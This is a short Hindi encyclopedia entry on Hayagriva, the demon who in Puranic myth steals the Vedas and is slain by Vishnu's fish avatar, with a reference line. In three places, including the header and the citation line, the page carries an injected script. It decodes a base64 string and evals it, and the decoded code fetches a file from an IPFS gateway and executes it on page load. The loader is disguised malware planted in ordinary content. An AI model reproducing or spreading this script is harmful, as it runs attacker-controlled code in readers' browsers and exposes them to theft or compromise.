हयग्रीव दैत्य
हयग्रीव | एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- हयग्रीव (बहुविकल्पी) |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
हयग्रीव हिन्दू पौराणिक ग्रंथ मत्स्यपुराण के अनुसार एक दैत्य था, जो कल्पांत में ब्रह्मा की निद्रा के समय वेद उठा ले गया था। भगवान विष्णु ने मत्स्य अवतार लेकर इसका वध किया।
- भागवतपुराण के अनुसार
हयग्रीव दनु के गर्भ से महर्षि कश्यप द्वारा उत्पन्न 61 दानव पुत्रों में से एक प्रधान दानव का नाम था।[1]
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
पौराणिक कोश |लेखक: राणा प्रसाद शर्मा |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 546 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ भागवत पुराण 6.6.30
संबंधित लेख